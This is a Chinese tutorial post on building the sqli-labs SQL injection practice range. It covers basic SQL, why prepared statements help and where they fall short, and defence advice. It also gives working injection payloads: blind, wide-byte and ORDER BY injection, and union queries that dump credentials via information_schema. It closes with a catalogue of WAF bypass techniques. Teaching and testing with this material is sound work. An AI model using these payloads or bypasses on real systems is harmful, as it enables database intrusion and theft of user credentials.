sqlilabs注入靶场搭建与sql语句

1、搭建环境

github上适配php7的靶场

1.1、配置
  • 在sql-connections下的db-creds.inc中将小皮面板中的密码填入

2、必备Sql语句

2.1、基本语句
复制代码
#创建数据库
create database test1;
#展示所有数据库
show databases;
#使用test1数据库
use test1;
#查看当前数据库中的表
show tables;
#获取当前使用的数据库
select database();
#删除数据表
drop table table1;
#查询当前的用户
select user();
#获取当前数据库版本
select version();
#查看schemata这个表的结构
DESC schemata;
2.2、常用关键字
  1. order by
  • 给查询结果排序,指定一个或多个字段,指定升序 ASC / 降序 DESC

  • 常用于通过报错临界点测试出该表有多少列

    #按SELECT出来的id列进行排序,ASC=升序(默认),DESC=降序
    select * from member order by id;
    #按SELECT出来的第4列进行排序
    select * from member order by 4;

  1. union
  • 常用于联合查询,左右两个表列数一致

    select id,username from users union select id,content from message;

2.3、常用函数
  • 截断

    select substr('root',1,1); #执行结果------r
    select substring('root',2,2);#执行结果------oo
    #以上两个函数作用类似
    select left('root',2);#执行结果------ro
    select right('root',2);#执行结果------ot
    select mid('root',1,1); #执行结果------r

  • 字符转换

    ASCII函数用来返回给定字符串的第一个字符的ASCII码

    select ascii('root'); #执行结果------114
    #将 ASCII码转换成字符
    select char(65);#执行结果------A

  • 获取数据长度

    select length(database());

  • 时间

    now()#返回当前的日期和时间
    sysdate()#返回当前的日期和时间

3、预编译与sql注入

1. 为什么预编译可以防止SQL注入?
  • 原因:预编译将SQL语句与参数分开处理,语句先编译成固定结构,参数再传入,不再视为SQL代码的一部分。

  • 效果:消除了语句的歧义,防止用户输入被解释为SQL指令,从而阻断注入。


2. 预编译能完美防御SQL注入吗?
  • 不能完全防御 ,因为预编译只能保护可参数化的位置(如WHERE条件中的值)。

  • 不可参数化的位置(如表名、列名、ORDER BY、GROUP BY、LIMIT、JOIN等)仍可能被注入。


3. 哪些位置不可参数化?
  • 表名、列名

  • ORDER BY、GROUP BY

  • LIMIT

  • JOIN

  • 其他SQL关键字或结构


4. 为什么这些位置不可参数化?
  • 预编译通常自动为字符串参数添加引号,而这些位置(如字段名)不能带引号,否则会引发语法错误。

  • 例如:ORDER BY 'username' 是无效的,正确应为 ORDER BY username。


5. 预编译的两种类型:
  • 虚假预编译(模拟预编译):

    • 客户端模拟参数绑定,实际是字符串转义和拼接。

    • 仍可能被宽字节注入等绕过。

  • 真实预编译:

    • 数据库层面编译语句,参数以二进制形式传递。

    • 安全性更高,但仍不能保护不可参数化位置。


6. 宽字节注入与预编译:
  • 在虚假预编译下,如果数据库与客户端编码不一致(如GBK),可能通过宽字节绕过转义。

  • 真实预编译下,参数以十六进制传递,不易被绕过。


7. ORDER BY 注入示例:
  • 由于ORDER BY不能参数化,攻击者可注入条件如:

    ORDER BY rand(ascii(substr(database(),1,1))>96)

8. 预编译的局限性总结:
  • 设计初衷是提升性能(减少语法树重复构建),而非专门防注入。

  • 仅适用于值参数,不适用于SQL结构部分。

  • 在不可参数化位置仍需依赖其他防护措施(如白名单、严格过滤)。


9. 防御建议:
  • 使用真实预编译(如设置PDO::ATTR_EMULATE_PREPARES = false)。

  • 对不可参数化的位置进行白名单验证(如固定选项、映射表)。

  • 避免直接拼接用户输入到SQL结构部分。

  • 结合WAF、输入验证、编码统一等多层防护。


10. 面试常见问题:
  • SQL注入类型(盲注、宽字节、二次注入等)
1. 盲注(Blind SQL Injection)
  • 布尔盲注:通过页面返回的True/False状态推断数据

    • 如:id=1' and ascii(substr(database(),1,1))>97--+
  • 时间盲注:通过页面响应时间推断数据

    • 如:id=1' and if(ascii(substr(database(),1,1))>97,sleep(5),0)--+
2. 宽字节注入
  • 条件 :数据库使用GBK等宽字符集,且PHP使用addslashes()等转义

  • 原理 :%df%27 → %df%5c%27 → 運'(吃掉转义符\)

  • 示例 :id=%df%27 union select 1,2,3--+

3. 二次注入
  • 过程:

    1. 输入被转义存储到数据库(如admin'--)

    2. 从数据库取出时转义符被移除

    3. 在另一处使用该数据时触发注入

  • 特点:绕过前端过滤,危害更大

4. 其他类型
  • 联合查询注入 :union select

  • 报错注入 :利用extractvalue()、updatexml()等

  • 堆叠注入:执行多条SQL语句(需支持如PDO)

  • Cookie注入 、UA注入 、Referer注入

  • 手工注入经验
基本步骤:
  1. 判断注入点 :'、"、)、and 1=1、and 1=2

  2. 判断字段数 :order by n

  3. 判断回显位 :union select 1,2,3,...,n

  4. 获取数据库信息:

    • database()、user()、version()
  5. 查表名:

复制代码
   union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()
  1. 查列名:

    复制代码
    union select 1,group_concat(column_name) from information_schema.columns where table_name='users'
  2. 脱数据:

    复制代码
    union select username,password from users limit 0,1
盲注手工技巧:
  • 二分法加快判断:ascii(substr(password,1,1))>100

  • 使用length()判断长度

  • 注意substr()和mid()的用法

11、绕过WAF的方法
1. 编码绕过
URL编码 :union → %75%6e%69%6f%6e
双重URL编码 :%25%37%35%25%36%65...
Unicode编码 :u → \u0075
HTML编码 :< → &lt;
2. 大小写/混写
UnIoN SeLeCt
UNunionION SELselectECT
3. 注释符分割
/**/、/*!*/、/*!50000*/
/*!union*/select
U/**/NI/**/ON
4. 等价函数/语法替换
version() → @@version
substr() → mid()、substring()
ascii() → hex()、bin()
and → &&,or → ||
5. 特殊符号
反引号:``select `version()```
加号:select+user()
换行符:%0a、%0d
空白符:%09(tab)、%20(space)
6. 分块传输
修改Transfer-Encoding: chunked
拆分恶意payload
7. 协议层面绕过
参数污染 :id=1&id=2 union select
多参数 :id=1 union/*&id=*/select 1,2,3
JSON/XML格式:WAF可能解析不一致
8. 宝塔/WAF特定绕过
雷池WAF:利用解析差异
云WAF:寻找真实IP直连
规则绕过:测试未覆盖的边缘情况
9. 时间延迟绕过
缓慢发送payload
使用长字符串耗尽WAF资源
相关推荐
HSunR8 小时前
ruoyi 若依 自定义注解 参数校验
java·前端·数据库
禾小西8 小时前
06丨Redis 数据同步:主从库如何实现数据一致?
数据库·redis·php
前端 贾公子9 小时前
LangGraph == 图的状态(State)管理 (上)
java·开发语言·数据库
薛晓刚9 小时前
PGA 超限的一次应急处置:扩容、清游标、杀会话
数据库
CJi0NG9 小时前
【自用】MySQL-事务
数据库·mysql
我不会插花弄玉9 小时前
4.string类型【由浅入深-redis】
数据库·redis·缓存
PHP实战开发录10 小时前
MySQL数字排序为什么乱
数据库·mysql·php
不停喝水11 小时前
【前端转全栈java速通课】 项目实战④7-11节 操作数据库-登录-注册-修改密码-注销-mubatis-plus简化crud-
java·前端·数据库
leisoo809711 小时前
融资融券数据怎么查两融指标含义与杠杆观察方法 IG50免费开源股票数据API接口
开发语言·jvm·数据库·python·json